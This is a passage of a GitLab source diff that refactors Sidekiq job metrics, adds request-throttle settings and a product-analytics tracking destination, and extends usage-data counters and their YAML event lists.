@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module SidekiqDeathHandler
+ class << self
+ include ::Gitlab::SidekiqMiddleware::MetricsHelper
+
+ def handler(job, _exception)
+ labels = create_labels(job['class'].constantize, job['queue'])
+
+ counter.increment(labels)
+ end
+
+ def counter
+ @counter ||= ::Gitlab::Metrics.counter(:sidekiq_jobs_dead_total, 'Sidekiq dead jobs')
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/sidekiq_middleware/client_metrics.rb b/lib/gitlab/sidekiq_middleware/client_metrics.rb
index 245a1b5e024..7ee8a623d30 100644
--- a/lib/gitlab/sidekiq_middleware/client_metrics.rb
+++ b/lib/gitlab/sidekiq_middleware/client_metrics.rb
@@ -2,7 +2,9 @@
module Gitlab
module SidekiqMiddleware
- class ClientMetrics < SidekiqMiddleware::Metrics
+ class ClientMetrics
+ include ::Gitlab::SidekiqMiddleware::MetricsHelper
+
ENQUEUED = :sidekiq_enqueued_jobs_total
def initialize
diff --git a/lib/gitlab/sidekiq_middleware/duplicate_jobs/duplicate_job.rb b/lib/gitlab/sidekiq_middleware/duplicate_jobs/duplicate_job.rb
index 5efd1b34d32..79ac853ea0c 100644
--- a/lib/gitlab/sidekiq_middleware/duplicate_jobs/duplicate_job.rb
+++ b/lib/gitlab/sidekiq_middleware/duplicate_jobs/duplicate_job.rb
@@ -70,10 +70,6 @@ module Gitlab
jid != existing_jid
end
- def droppable?
- idempotent? && ::Feature.disabled?("disable_#{queue_name}_deduplication", type: :ops)
- end
-
def scheduled_at
job['at']
end
@@ -85,6 +81,13 @@ module Gitlab
worker_klass.get_deduplication_options
end
+ def idempotent?
+ return false unless worker_klass
+ return false unless worker_klass.respond_to?(:idempotent?)
+
+ worker_klass.idempotent?
+ end
+
private
attr_reader :queue_name, :job
@@ -128,13 +131,6 @@ module Gitlab
def idempotency_string
"#{worker_class_name}:#{arguments.join('-')}"
end
-
- def idempotent?
- return false unless worker_klass
- return false unless worker_klass.respond_to?(:idempotent?)
-
- worker_klass.idempotent?
- end
end
end
end
diff --git a/lib/gitlab/sidekiq_middleware/duplicate_jobs/strategies/deduplicates_when_scheduling.rb b/lib/gitlab/sidekiq_middleware/duplicate_jobs/strategies/deduplicates_when_scheduling.rb
index 59b0e7e29da..469033a5e52 100644
--- a/lib/gitlab/sidekiq_middleware/duplicate_jobs/strategies/deduplicates_when_scheduling.rb
+++ b/lib/gitlab/sidekiq_middleware/duplicate_jobs/strategies/deduplicates_when_scheduling.rb
@@ -13,7 +13,7 @@ module Gitlab
if deduplicatable_job? && check! && duplicate_job.duplicate?
job['duplicate-of'] = duplicate_job.existing_jid
- if duplicate_job.droppable?
+ if duplicate_job.idempotent?
Gitlab::SidekiqLogging::DeduplicationLogger.instance.log(
job, "dropped #{strategy_name}", duplicate_job.options)
return false
diff --git a/lib/gitlab/sidekiq_middleware/metrics.rb b/lib/gitlab/sidekiq_middleware/metrics.rb
deleted file mode 100644
index 7ae8995c46d..00000000000
--- a/lib/gitlab/sidekiq_middleware/metrics.rb
+++ /dev/null
@@ -1,38 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module SidekiqMiddleware
- class Metrics
- TRUE_LABEL = "yes"
- FALSE_LABEL = "no"
-
- private
-
- def create_labels(worker_class, queue)
- labels = { queue: queue.to_s,
- worker: worker_class.to_s,
- urgency: "",
- external_dependencies: FALSE_LABEL,
- feature_category: "",
- boundary: "" }
-
- return labels unless worker_class && worker_class.include?(WorkerAttributes)
-
- labels[:urgency] = worker_class.get_urgency.to_s
- labels[:external_dependencies] = bool_as_label(worker_class.worker_has_external_dependencies?)
-
- feature_category = worker_class.get_feature_category
- labels[:feature_category] = feature_category.to_s
-
- resource_boundary = worker_class.get_worker_resource_boundary
- labels[:boundary] = resource_boundary == :unknown ? "" : resource_boundary.to_s
-
- labels
- end
-
- def bool_as_label(value)
- value ? TRUE_LABEL : FALSE_LABEL
- end
- end
- end
-end
diff --git a/lib/gitlab/sidekiq_middleware/metrics_helper.rb b/lib/gitlab/sidekiq_middleware/metrics_helper.rb
new file mode 100644
index 00000000000..5c1ce2b98e8
--- /dev/null
+++ b/lib/gitlab/sidekiq_middleware/metrics_helper.rb
@@ -0,0 +1,38 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module SidekiqMiddleware
+ module MetricsHelper
+ TRUE_LABEL = "yes"
+ FALSE_LABEL = "no"
+
+ private
+
+ def create_labels(worker_class, queue)
+ labels = { queue: queue.to_s,
+ worker: worker_class.to_s,
+ urgency: "",
+ external_dependencies: FALSE_LABEL,
+ feature_category: "",
+ boundary: "" }
+
+ return labels unless worker_class && worker_class.include?(WorkerAttributes)
+
+ labels[:urgency] = worker_class.get_urgency.to_s
+ labels[:external_dependencies] = bool_as_label(worker_class.worker_has_external_dependencies?)
+
+ feature_category = worker_class.get_feature_category
+ labels[:feature_category] = feature_category.to_s
+
+ resource_boundary = worker_class.get_worker_resource_boundary
+ labels[:boundary] = resource_boundary == :unknown ? "" : resource_boundary.to_s
+
+ labels
+ end
+
+ def bool_as_label(value)
+ value ? TRUE_LABEL : FALSE_LABEL
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/sidekiq_middleware/server_metrics.rb b/lib/gitlab/sidekiq_middleware/server_metrics.rb
index 0635c07ae4b..7f3048f4c6e 100644
--- a/lib/gitlab/sidekiq_middleware/server_metrics.rb
+++ b/lib/gitlab/sidekiq_middleware/server_metrics.rb
@@ -2,7 +2,9 @@
module Gitlab
module SidekiqMiddleware
- class ServerMetrics < SidekiqMiddleware::Metrics
+ class ServerMetrics
+ include ::Gitlab::SidekiqMiddleware::MetricsHelper
+
# SIDEKIQ_LATENCY_BUCKETS are latency histogram buckets better suited to Sidekiq
# timeframes than the DEFAULT_BUCKET definition. Defined in seconds.
SIDEKIQ_LATENCY_BUCKETS = [0.1, 0.25, 0.5, 1, 2.5, 5, 10, 60, 300, 600].freeze
diff --git a/lib/gitlab/throttle.rb b/lib/gitlab/throttle.rb
new file mode 100644
index 00000000000..aebf8d92cb3
--- /dev/null
+++ b/lib/gitlab/throttle.rb
@@ -0,0 +1,50 @@
+# frozen_string_literal: true
+
+module Gitlab
+ class Throttle
+ def self.settings
+ Gitlab::CurrentSettings.current_application_settings
+ end
+
+ # Returns true if we should use the Admin Area protected paths throttle
+ def self.protected_paths_enabled?
+ self.settings.throttle_protected_paths_enabled?
+ end
+
+ def self.omnibus_protected_paths_present?
+ Rack::Attack.throttles.key?('protected paths')
+ end
+
+ def self.bypass_header
+ env_value = ENV['GITLAB_THROTTLE_BYPASS_HEADER']
+ return unless env_value.present?
+
+ "HTTP_#{env_value.upcase.tr('-', '_')}"
+ end
+
+ def self.unauthenticated_options
+ limit_proc = proc { |req| settings.throttle_unauthenticated_requests_per_period }
+ period_proc = proc { |req| settings.throttle_unauthenticated_period_in_seconds.seconds }
+ { limit: limit_proc, period: period_proc }
+ end
+
+ def self.authenticated_api_options
+ limit_proc = proc { |req| settings.throttle_authenticated_api_requests_per_period }
+ period_proc = proc { |req| settings.throttle_authenticated_api_period_in_seconds.seconds }
+ { limit: limit_proc, period: period_proc }
+ end
+
+ def self.authenticated_web_options
+ limit_proc = proc { |req| settings.throttle_authenticated_web_requests_per_period }
+ period_proc = proc { |req| settings.throttle_authenticated_web_period_in_seconds.seconds }
+ { limit: limit_proc, period: period_proc }
+ end
+
+ def self.protected_paths_options
+ limit_proc = proc { |req| settings.throttle_protected_paths_requests_per_period }
+ period_proc = proc { |req| settings.throttle_protected_paths_period_in_seconds.seconds }
+
+ { limit: limit_proc, period: period_proc }
+ end
+ end
+end
diff --git a/lib/gitlab/tracking.rb b/lib/gitlab/tracking.rb
index 19be468e3d5..618e359211b 100644
--- a/lib/gitlab/tracking.rb
+++ b/lib/gitlab/tracking.rb
@@ -14,8 +14,8 @@ module Gitlab
Gitlab::Tracking.event(category, action.to_s, **args)
end
- def track_self_describing_event(schema_url, event_data_json, **args)
- Gitlab::Tracking.self_describing_event(schema_url, event_data_json, **args)
+ def track_self_describing_event(schema_url, data:, **args)
+ Gitlab::Tracking.self_describing_event(schema_url, data: data, **args)
end
end
@@ -26,10 +26,11 @@ module Gitlab
def event(category, action, label: nil, property: nil, value: nil, context: nil)
snowplow.event(category, action, label: label, property: property, value: value, context: context)
+ product_analytics.event(category, action, label: label, property: property, value: value, context: context)
end
- def self_describing_event(schema_url, event_data_json, context: nil)
- snowplow.self_describing_event(schema_url, event_data_json, context: context)
+ def self_describing_event(schema_url, data:, context: nil)
+ snowplow.self_describing_event(schema_url, data: data, context: context)
end
def snowplow_options(group)
@@ -49,6 +50,10 @@ module Gitlab
def snowplow
@snowplow ||= Gitlab::Tracking::Destinations::Snowplow.new
end
+
+ def product_analytics
+ @product_analytics ||= Gitlab::Tracking::Destinations::ProductAnalytics.new
+ end
end
end
end
diff --git a/lib/gitlab/tracking/destinations/product_analytics.rb b/lib/gitlab/tracking/destinations/product_analytics.rb
new file mode 100644
index 00000000000..cacedbc5b83
--- /dev/null
+++ b/lib/gitlab/tracking/destinations/product_analytics.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Tracking
+ module Destinations
+ class ProductAnalytics < Base
+ extend ::Gitlab::Utils::Override
+ include ::Gitlab::Utils::StrongMemoize
+
+ override :event
+ def event(category, action, label: nil, property: nil, value: nil, context: nil)
+ return unless event_allowed?(category, action)
+ return unless enabled?
+
+ tracker.track_struct_event(category, action, label, property, value, context, (Time.now.to_f * 1000).to_i)
+ end
+
+ private
+
+ def event_allowed?(category, action)
+ category == 'epics' && action == 'promote'
+ end
+
+ def enabled?
+ Feature.enabled?(:product_analytics_tracking, type: :ops) &&
+ Gitlab::CurrentSettings.usage_ping_enabled? &&
+ Gitlab::CurrentSettings.self_monitoring_project_id.present?
+ end
+
+ def tracker
+ @tracker ||= SnowplowTracker::Tracker.new(
+ SnowplowTracker::AsyncEmitter.new(::ProductAnalytics::Tracker::COLLECTOR_URL, protocol: Gitlab.config.gitlab.protocol),
+ SnowplowTracker::Subject.new,
+ Gitlab::Tracking::SNOWPLOW_NAMESPACE,
+ Gitlab::CurrentSettings.self_monitoring_project_id.to_s
+ )
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/tracking/destinations/snowplow.rb b/lib/gitlab/tracking/destinations/snowplow.rb
index 9cebcfe5ee1..4fa844de325 100644
--- a/lib/gitlab/tracking/destinations/snowplow.rb
+++ b/lib/gitlab/tracking/destinations/snowplow.rb
@@ -15,10 +15,10 @@ module Gitlab
tracker.track_struct_event(category, action, label, property, value, context, (Time.now.to_f * 1000).to_i)
end
- def self_describing_event(schema_url, event_data_json, context: nil)
+ def self_describing_event(schema_url, data:, context: nil)
return unless enabled?
- event_json = SnowplowTracker::SelfDescribingJson.new(schema_url, event_data_json)
+ event_json = SnowplowTracker::SelfDescribingJson.new(schema_url, data)
tracker.track_self_describing_event(event_json, context, (Time.now.to_f * 1000).to_i)
end
diff --git a/lib/gitlab/uploads/migration_helper.rb b/lib/gitlab/uploads/migration_helper.rb
index 9377ccfec1e..b610d2a10c6 100644
--- a/lib/gitlab/uploads/migration_helper.rb
+++ b/lib/gitlab/uploads/migration_helper.rb
@@ -75,3 +75,5 @@ module Gitlab
end
end
end
+
+Gitlab::Uploads::MigrationHelper.prepend_if_ee('EE::Gitlab::Uploads::MigrationHelper')
diff --git a/lib/gitlab/usage_data.rb b/lib/gitlab/usage_data.rb
index 4b0dd54683b..f935c677930 100644
--- a/lib/gitlab/usage_data.rb
+++ b/lib/gitlab/usage_data.rb
@@ -47,7 +47,6 @@ module Gitlab
.merge(system_usage_data_weekly)
.merge(features_usage_data)
.merge(components_usage_data)
- .merge(cycle_analytics_usage_data)
.merge(object_store_usage_data)
.merge(topology_usage_data)
.merge(usage_activity_by_stage)
@@ -237,7 +236,9 @@ module Gitlab
def system_usage_data_settings
{
- settings: {}
+ settings: {
+ ldap_encrypted_secrets_enabled: alt_usage_data(fallback: nil) { Gitlab::Auth::Ldap::Config.encrypted_secrets.active? }
+ }
}
end
@@ -250,12 +251,6 @@ module Gitlab
}
end
- def cycle_analytics_usage_data
- Gitlab::CycleAnalytics::UsageData.new.to_json
- rescue ActiveRecord::StatementInvalid
- { avg_cycle_analytics: {} }
- end
-
# rubocop:disable CodeReuse/ActiveRecord
def grafana_embed_usage_data
count(Issue.joins('JOIN grafana_integrations USING (project_id)')
@@ -296,20 +291,7 @@ module Gitlab
# @return [Array<#totals>] An array of objects that respond to `#totals`
def usage_data_counters
- [
- Gitlab::UsageDataCounters::WikiPageCounter,
- Gitlab::UsageDataCounters::WebIdeCounter,
- Gitlab::UsageDataCounters::NoteCounter,
- Gitlab::UsageDataCounters::SnippetCounter,
- Gitlab::UsageDataCounters::SearchCounter,
- Gitlab::UsageDataCounters::CycleAnalyticsCounter,
- Gitlab::UsageDataCounters::ProductivityAnalyticsCounter,
- Gitlab::UsageDataCounters::SourceCodeCounter,
- Gitlab::UsageDataCounters::MergeRequestCounter,
- Gitlab::UsageDataCounters::DesignsCounter,
- Gitlab::UsageDataCounters::KubernetesAgentCounter,
- Gitlab::UsageDataCounters::StaticSiteEditorCounter
- ]
+ Gitlab::UsageDataCounters.counters
end
def components_usage_data
@@ -602,7 +584,7 @@ module Gitlab
gitlab: distinct_count(::BulkImport.where(time_period, source_type: :gitlab), :user_id)
},
projects_imported: {
- total: count(Project.where(time_period).where.not(import_type: nil)),
+ total: distinct_count(::Project.where(time_period).where.not(import_type: nil), :creator_id),
gitlab_project: projects_imported_count('gitlab_project', time_period),
gitlab: projects_imported_count('gitlab', time_period),
github: projects_imported_count('github', time_period),
@@ -707,16 +689,12 @@ module Gitlab
end
def aggregated_metrics_monthly
- return {} unless Feature.enabled?(:product_analytics_aggregated_metrics)
-
{
aggregated_metrics: ::Gitlab::UsageDataCounters::HLLRedisCounter.aggregated_metrics_monthly_data
}
end
def aggregated_metrics_weekly
- return {} unless Feature.enabled?(:product_analytics_aggregated_metrics)
-
{
aggregated_metrics: ::Gitlab::UsageDataCounters::HLLRedisCounter.aggregated_metrics_weekly_data
}
@@ -783,12 +761,13 @@ module Gitlab
action_monthly_active_users_web_ide_edit: redis_usage_data { counter.count_web_ide_edit_actions(**date_range) },
action_monthly_active_users_sfe_edit: redis_usage_data { counter.count_sfe_edit_actions(**date_range) },
action_monthly_active_users_snippet_editor_edit: redis_usage_data { counter.count_snippet_editor_edit_actions(**date_range) },
+ action_monthly_active_users_sse_edit: redis_usage_data { counter.count_sse_edit_actions(**date_range) },
action_monthly_active_users_ide_edit: redis_usage_data { counter.count_edit_using_editor(**date_range) }
}
end
def report_snowplow_events?
- self_monitoring_project && Feature.enabled?(:product_analytics, self_monitoring_project)
+ self_monitoring_project && Feature.enabled?(:product_analytics_tracking, type: :ops)
end
def distinct_count_service_desk_enabled_projects(time_period)
@@ -915,7 +894,7 @@ module Gitlab
end
def projects_imported_count(from, time_period)
- distinct_count(::Project.imported_from(from).where(time_period), :creator_id) # rubocop: disable CodeReuse/ActiveRecord
+ distinct_count(::Project.imported_from(from).where(time_period).where.not(import_type: nil), :creator_id) # rubocop: disable CodeReuse/ActiveRecord
end
# rubocop:disable CodeReuse/ActiveRecord
diff --git a/lib/gitlab/usage_data_counters.rb b/lib/gitlab/usage_data_counters.rb
new file mode 100644
index 00000000000..ca7699e64e1
--- /dev/null
+++ b/lib/gitlab/usage_data_counters.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module UsageDataCounters
+ COUNTERS = [
+ GuestPackageEventCounter,
+ WikiPageCounter,
+ WebIdeCounter,
+ NoteCounter,
+ SnippetCounter,
+ SearchCounter,
+ CycleAnalyticsCounter,
+ ProductivityAnalyticsCounter,
+ SourceCodeCounter,
+ MergeRequestCounter,
+ DesignsCounter,
+ KubernetesAgentCounter,
+ StaticSiteEditorCounter
+ ].freeze
+
+ UsageDataCounterError = Class.new(StandardError)
+ UnknownEvent = Class.new(UsageDataCounterError)
+
+ class << self
+ def counters
+ self::COUNTERS
+ end
+
+ def count(event_name)
+ counters.each do |counter|
+ event = counter.fetch_supported_event(event_name)
+
+ return counter.count(event) if event
+ end
+
+ raise UnknownEvent, "Cannot find counter for event #{event_name}"
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/usage_data_counters/aggregated_metrics/common.yml b/lib/gitlab/usage_data_counters/aggregated_metrics/common.yml
index 97ec8423b95..b7c0abae227 100644
--- a/lib/gitlab/usage_data_counters/aggregated_metrics/common.yml
+++ b/lib/gitlab/usage_data_counters/aggregated_metrics/common.yml
@@ -11,7 +11,31 @@
- name: product_analytics_test_metrics_union
operator: OR
events: ['i_search_total', 'i_search_advanced', 'i_search_paid']
- feature_flag: product_analytics_aggregated_metrics
- name: product_analytics_test_metrics_intersection
operator: AND
events: ['i_search_total', 'i_search_advanced', 'i_search_paid']
+- name: incident_management_alerts_total_unique_counts
+ operator: OR
+ events: [
+ 'incident_management_alert_status_changed',
+ 'incident_management_alert_assigned',
+ 'incident_management_alert_todo',
+ 'incident_management_alert_create_incident'
+ ]
+ feature_flag: usage_data_incident_management_alerts_total_unique_counts
+- name: incident_management_incidents_total_unique_counts
+ operator: OR
+ events: [
+ 'incident_management_incident_created',
+ 'incident_management_incident_reopened',
+ 'incident_management_incident_closed',
+ 'incident_management_incident_assigned',
+ 'incident_management_incident_todo',
+ 'incident_management_incident_comment',
+ 'incident_management_incident_zoom_meeting',
+ 'incident_management_incident_published',
+ 'incident_management_incident_relate',
+ 'incident_management_incident_unrelate',
+ 'incident_management_incident_change_confidential'
+ ]
+ feature_flag: usage_data_incident_management_incidents_total_unique_counts
diff --git a/lib/gitlab/usage_data_counters/base_counter.rb b/lib/gitlab/usage_data_counters/base_counter.rb
index 44893645cc2..d28fd17a989 100644
--- a/lib/gitlab/usage_data_counters/base_counter.rb
+++ b/lib/gitlab/usage_data_counters/base_counter.rb
@@ -29,6 +29,12 @@ module Gitlab::UsageDataCounters
known_events.map { |event| [counter_key(event), -1] }.to_h
end
+ def fetch_supported_event(event_name)
+ return if prefix.present? && !event_name.start_with?(prefix)
+
+ known_events.find { |event| counter_key(event) == event_name.to_sym }
+ end
+
private
def require_known_event(event)
diff --git a/lib/gitlab/usage_data_counters/counter_events/guest_package_events.yml b/lib/gitlab/usage_data_counters/counter_events/guest_package_events.yml
new file mode 100644
index 00000000000..a9b9f8ea235
--- /dev/null
+++ b/lib/gitlab/usage_data_counters/counter_events/guest_package_events.yml
@@ -0,0 +1,34 @@
+---
+- i_package_composer_guest_delete
+- i_package_composer_guest_pull
+- i_package_composer_guest_push
+- i_package_conan_guest_delete
+- i_package_conan_guest_pull
+- i_package_conan_guest_push
+- i_package_container_guest_delete
+- i_package_container_guest_pull
+- i_package_container_guest_push
+- i_package_debian_guest_delete
+- i_package_debian_guest_pull
+- i_package_debian_guest_push
+- i_package_generic_guest_delete
+- i_package_generic_guest_pull
+- i_package_generic_guest_push
+- i_package_golang_guest_delete
+- i_package_golang_guest_pull
+- i_package_golang_guest_push
+- i_package_maven_guest_delete
+- i_package_maven_guest_pull
+- i_package_maven_guest_push
+- i_package_npm_guest_delete
+- i_package_npm_guest_pull
+- i_package_npm_guest_push
+- i_package_nuget_guest_delete
+- i_package_nuget_guest_pull
+- i_package_nuget_guest_push
+- i_package_pypi_guest_delete
+- i_package_pypi_guest_pull
+- i_package_pypi_guest_push
+- i_package_tag_guest_delete
+- i_package_tag_guest_pull
+- i_package_tag_guest_push
diff --git a/lib/gitlab/usage_data_counters/editor_unique_counter.rb b/lib/gitlab/usage_data_counters/editor_unique_counter.rb
index b68d50ee419..eeb26c11bfa 100644
--- a/lib/gitlab/usage_data_counters/editor_unique_counter.rb
+++ b/lib/gitlab/usage_data_counters/editor_unique_counter.rb
@@ -6,6 +6,7 @@ module Gitlab
EDIT_BY_SNIPPET_EDITOR = 'g_edit_by_snippet_ide'
EDIT_BY_SFE = 'g_edit_by_sfe'
EDIT_BY_WEB_IDE = 'g_edit_by_web_ide'
+ EDIT_BY_SSE = 'g_edit_by_sse'
EDIT_CATEGORY = 'ide_edit'
class << self
@@ -38,6 +39,14 @@ module Gitlab
count_unique(events, date_from, date_to)
end
+ def track_sse_edit_action(author:, time: Time.zone.now)
+ track_unique_action(EDIT_BY_SSE, author, time)
+ end
+
+ def count_sse_edit_actions(date_from:, date_to:)
+ count_unique(EDIT_BY_SSE, date_from, date_to)
+ end
+
private
def track_unique_action(action, author, time)
diff --git a/lib/gitlab/usage_data_counters/guest_package_event_counter.rb b/lib/gitlab/usage_data_counters/guest_package_event_counter.rb
new file mode 100644
index 00000000000..a9bcbfadda2
--- /dev/null
+++ b/lib/gitlab/usage_data_counters/guest_package_event_counter.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module UsageDataCounters
+ class GuestPackageEventCounter < BaseCounter
+ KNOWN_EVENTS_PATH = File.expand_path('counter_events/guest_package_events.yml', __dir__)
+ KNOWN_EVENTS = YAML.safe_load(File.read(KNOWN_EVENTS_PATH)).freeze
+ PREFIX = 'package_guest'
+ end
+ end
+end
diff --git a/lib/gitlab/usage_data_counters/guest_package_events.yml b/lib/gitlab/usage_data_counters/guest_package_events.yml
new file mode 100644
index 00000000000..a9b9f8ea235
--- /dev/null
+++ b/lib/gitlab/usage_data_counters/guest_package_events.yml
@@ -0,0 +1,34 @@
+---
+- i_package_composer_guest_delete
+- i_package_composer_guest_pull
+- i_package_composer_guest_push
+- i_package_conan_guest_delete
+- i_package_conan_guest_pull
+- i_package_conan_guest_push
+- i_package_container_guest_delete
+- i_package_container_guest_pull
+- i_package_container_guest_push
+- i_package_debian_guest_delete
+- i_package_debian_guest_pull
+- i_package_debian_guest_push
+- i_package_generic_guest_delete
+- i_package_generic_guest_pull
+- i_package_generic_guest_push
+- i_package_golang_guest_delete
+- i_package_golang_guest_pull
+- i_package_golang_guest_push
+- i_package_maven_guest_delete
+- i_package_maven_guest_pull
+- i_package_maven_guest_push
+- i_package_npm_guest_delete
+- i_package_npm_guest_pull
+- i_package_npm_guest_push
+- i_package_nuget_guest_delete
+- i_package_nuget_guest_pull
+- i_package_nuget_guest_push
+- i_package_pypi_guest_delete
+- i_package_pypi_guest_pull
+- i_package_pypi_guest_push
+- i_package_tag_guest_delete
+- i_package_tag_guest_pull
+- i_package_tag_guest_push
diff --git a/lib/gitlab/usage_data_counters/issue_activity_unique_counter.rb b/lib/gitlab/usage_data_counters/issue_activity_unique_counter.rb
index da013a06777..0fed8e1c211 100644
--- a/lib/gitlab/usage_data_counters/issue_activity_unique_counter.rb
+++ b/lib/gitlab/usage_data_counters/issue_activity_unique_counter.rb
@@ -18,6 +18,7 @@ module Gitlab
ISSUE_CROSS_REFERENCED = 'g_project_management_issue_cross_referenced'
ISSUE_MOVED = 'g_project_management_issue_moved'
ISSUE_RELATED = 'g_project_management_issue_related'
+ ISSUE_CLONED = 'g_project_management_issue_cloned'
ISSUE_UNRELATED = 'g_project_management_issue_unrelated'
ISSUE_MARKED_AS_DUPLICATE = 'g_project_management_issue_marked_as_duplicate'
ISSUE_LOCKED = 'g_project_management_issue_locked'
@@ -137,6 +138,10 @@ module Gitlab
track_unique_action(ISSUE_COMMENT_REMOVED, author, time)
end
+ def track_issue_cloned_action(author:, time: Time.zone.now)
+ track_unique_action(ISSUE_CLONED, author, time)
+ end
+
private
def track_unique_action(action, author, time)
diff --git a/lib/gitlab/usage_data_counters/known_events/common.yml b/lib/gitlab/usage_data_counters/known_events/common.yml
index 85f16ea807b..25cf388aedf 100644
--- a/lib/gitlab/usage_data_counters/known_events/common.yml
+++ b/lib/gitlab/usage_data_counters/known_events/common.yml
@@ -118,6 +118,12 @@
expiry: 29
aggregation: daily
feature_flag: track_editor_edit_actions
+- name: g_edit_by_sse
+ category: ide_edit
+ redis_slot: edit
+ expiry: 29
+ aggregation: daily
+ feature_flag: track_editor_edit_actions
- name: g_edit_by_snippet_ide
category: ide_edit
redis_slot: edit
@@ -145,6 +151,7 @@
- name: design_action
category: source_code
aggregation: daily
+ feature_flag: usage_data_design_action
- name: project_action
category: source_code
aggregation: daily
@@ -229,6 +236,12 @@
category: incident_management
aggregation: weekly
feature_flag: usage_data_incident_management_incident_change_confidential
+# Incident management alerts
+- name: incident_management_alert_create_incident
+ redis_slot: incident_management
+ category: incident_management_alerts
+ aggregation: weekly
+ feature_flag: usage_data_incident_management_alert_create_incident
# Testing category
- name: i_testing_test_case_parsed
category: testing
@@ -396,9 +409,19 @@
redis_slot: project_management
aggregation: daily
feature_flag: track_issue_activity_actions
+- name: g_project_management_issue_cloned
+ category: issues_edit
+ redis_slot: project_management
+ aggregation: daily
+ feature_flag: track_issue_activity_actions
# Secrets Management
- name: i_ci_secrets_management_vault_build_created
category: ci_secrets_management
redis_slot: ci_secrets_management
aggregation: weekly
feature_flag: usage_data_i_ci_secrets_management_vault_build_created
+- name: i_snippets_show
+ category: snippets
+ redis_slot: snippets
+ aggregation: weekly
+ feature_flag: usage_data_i_snippets_show
diff --git a/lib/gitlab/usage_data_counters/known_events/package_events.yml b/lib/gitlab/usage_data_counters/known_events/package_events.yml
index 7ed02aa2a85..4c3138dc000 100644
--- a/lib/gitlab/usage_data_counters/known_events/package_events.yml
+++ b/lib/gitlab/usage_data_counters/known_events/package_events.yml
@@ -1,265 +1,331 @@
---
-- name: i_package_maven_user_push
- category: maven_packages
- aggregation: weekly
- redis_slot: package
-- name: i_package_maven_deploy_token_push
- category: maven_packages
- aggregation: weekly
- redis_slot: package
-- name: i_package_maven_user_delete
- category: maven_packages
- aggregation: weekly
- redis_slot: package
-- name: i_package_maven_deploy_token_delete
- category: maven_packages
- aggregation: weekly
- redis_slot: package
-- name: i_package_maven_user_pull
- category: maven_packages
- aggregation: weekly
- redis_slot: package
-- name: i_package_maven_deploy_token_pull
- category: maven_packages
+- name: i_package_composer_deploy_token_delete
+ category: composer_packages
aggregation: weekly
redis_slot: package
-- name: i_package_npm_user_push
- category: npm_packages
+ feature_flag: collect_package_events_redis
+- name: i_package_composer_deploy_token_pull
+ category: composer_packages
aggregation: weekly
redis_slot: package
-- name: i_package_npm_deploy_token_push
- category: npm_packages
+ feature_flag: collect_package_events_redis
+- name: i_package_composer_deploy_token_push
+ category: composer_packages
aggregation: weekly
redis_slot: package
-- name: i_package_npm_user_delete
- category: npm_packages
+ feature_flag: collect_package_events_redis
+- name: i_package_composer_user_delete
+ category: composer_packages
aggregation: weekly
redis_slot: package
-- name: i_package_npm_deploy_token_delete
- category: npm_packages
+ feature_flag: collect_package_events_redis
+- name: i_package_composer_user_pull
+ category: composer_packages
aggregation: weekly
redis_slot: package
-- name: i_package_npm_user_pull
- category: npm_packages
+ feature_flag: collect_package_events_redis
+- name: i_package_composer_user_push
+ category: composer_packages
aggregation: weekly
redis_slot: package
-- name: i_package_npm_deploy_token_pull
- category: npm_packages
+ feature_flag: collect_package_events_redis
+- name: i_package_conan_deploy_token_delete
+ category: conan_packages
aggregation: weekly
redis_slot: package
-- name: i_package_conan_user_push
+ feature_flag: collect_package_events_redis
+- name: i_package_conan_deploy_token_pull
category: conan_packages
aggregation: weekly
redis_slot: package
+ feature_flag: collect_package_events_redis
- name: i_package_conan_deploy_token_push
category: conan_packages
aggregation: weekly
redis_slot: package
+ feature_flag: collect_package_events_redis
- name: i_package_conan_user_delete
category: conan_packages
aggregation: weekly
redis_slot: package
-- name: i_package_conan_deploy_token_delete
- category: conan_packages
- aggregation: weekly
- redis_slot: package
+ feature_flag: collect_package_events_redis
- name: i_package_conan_user_pull
category: conan_packages
aggregation: weekly
redis_slot: package
-- name: i_package_conan_deploy_token_pull
+ feature_flag: collect_package_events_redis
+- name: i_package_conan_user_push
category: conan_packages
aggregation: weekly
redis_slot: package
-- name: i_package_nuget_user_push
- category: nuget_packages
- aggregation: weekly
- redis_slot: package
-- name: i_package_nuget_deploy_token_push
- category: nuget_packages
- aggregation: weekly
- redis_slot: package
-- name: i_package_nuget_user_delete
- category: nuget_packages
- aggregation: weekly
- redis_slot: package
-- name: i_package_nuget_deploy_token_delete
- category: nuget_packages
- aggregation: weekly
- redis_slot: package
-- name: i_package_nuget_user_pull
- category: nuget_packages
- aggregation: weekly
- redis_slot: package
-- name: i_package_nuget_deploy_token_pull
- category: nuget_packages
+ feature_flag: collect_package_events_redis
+- name: i_package_container_deploy_token_delete
+ category: container_packages
aggregation: weekly
redis_slot: package
-- name: i_package_pypi_user_push
- category: pypi_packages
+ feature_flag: collect_package_events_redis
+- name: i_package_container_deploy_token_pull
+ category: container_packages
aggregation: weekly
redis_slot: package
-- name: i_package_pypi_deploy_token_push
- category: pypi_packages
+ feature_flag: collect_package_events_redis
+- name: i_package_container_deploy_token_push
+ category: container_packages
aggregation: weekly
redis_slot: package
-- name: i_package_pypi_user_delete
- category: pypi_packages
+ feature_flag: collect_package_events_redis
+- name: i_package_container_user_delete
+ category: container_packages
aggregation: weekly
redis_slot: package
-- name: i_package_pypi_deploy_token_delete
- category: pypi_packages
+ feature_flag: collect_package_events_redis
+- name: i_package_container_user_pull
+ category: container_packages
aggregation: weekly
redis_slot: package
-- name: i_package_pypi_user_pull
- category: pypi_packages
+ feature_flag: collect_package_events_redis
+- name: i_package_container_user_push
+ category: container_packages
aggregation: weekly
redis_slot: package
-- name: i_package_pypi_deploy_token_pull
- category: pypi_packages
+ feature_flag: collect_package_events_redis
+- name: i_package_debian_deploy_token_delete
+ category: debian_packages
aggregation: weekly
redis_slot: package
-- name: i_package_composer_user_push
- category: composer_packages
+ feature_flag: collect_package_events_redis
+- name: i_package_debian_deploy_token_pull
+ category: debian_packages
aggregation: weekly
